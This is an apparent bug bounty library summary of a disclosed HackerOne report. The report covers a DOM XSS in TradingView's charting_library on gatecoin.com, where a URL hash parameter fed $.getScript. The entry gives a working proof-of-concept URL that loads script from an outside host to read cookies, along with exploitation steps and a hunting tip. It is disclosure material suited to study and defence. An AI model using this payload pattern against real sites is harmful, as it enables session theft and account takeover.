# DOM Based XSS charting_library

TradingView charting_library tv-chart.html read indicatorsFile from the URL hash and passed it to $.getScript, letting an attacker load and execute arbitrary remote JS on gatecoin.com.

- Payout: $500
- Severity: medium
- Program: Gatecoin
- Credited: bobrov
- Disclosed: 2018-10-19
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/351275
- Library page: https://bugbountylibrary.com/r/h1%3A351275
- Tags: domain:web impact:ato kind:bounty platform:hackerone sev:medium technique:source-review vuln:xss

**Target:** tv-chart.html widget (DOM XSS via URL hash param)
**Root cause:** The page parsed the indicatorsFile parameter from location.hash and passed it directly to jQuery's $.getScript, which fetches and executes arbitrary remote JavaScript in the page origin.
**Steps:**
1. Identify tv-chart.html under /widget-trade/assets/charting_library/static/
2. Note library.js reads urlParams.indicatorsFile from the hash and calls `$.getScript(urlParams.indicatorsFile)`
3. Host attacker JS at //blackfan.ru/tv-chart-poc returning `alert(document.domain); alert(document.cookie);` with permissive CORS headers
4. Visit `https://gatecoin.com/widget-trade/assets/charting_library/static/tv-chart.html#indicatorsFile=//blackfan.ru/tv-chart-poc&disabledFeatures=[]&enabledFeatures=[]`
5. Script loads and executes in gatecoin.com origin
**How found:** Source review of charting_library's library.js revealed the hash parameter indicatorsFile flowing unsanitized into $.getScript.
**Exploitation:** Attacker crafts a URL with the indicatorsFile hash parameter pointing to their own server; victim opens it and the page fetches and runs the remote script in the gatecoin.com origin, exposing cookies/DOM.
**Insight:** Third-party charting/trading widget bundles often expose hash-driven config params (indicatorsFile, customIndicators) that feed script loaders like $.getScript; grep vendored widget JS for getScript/importScripts/eval and trace hash params.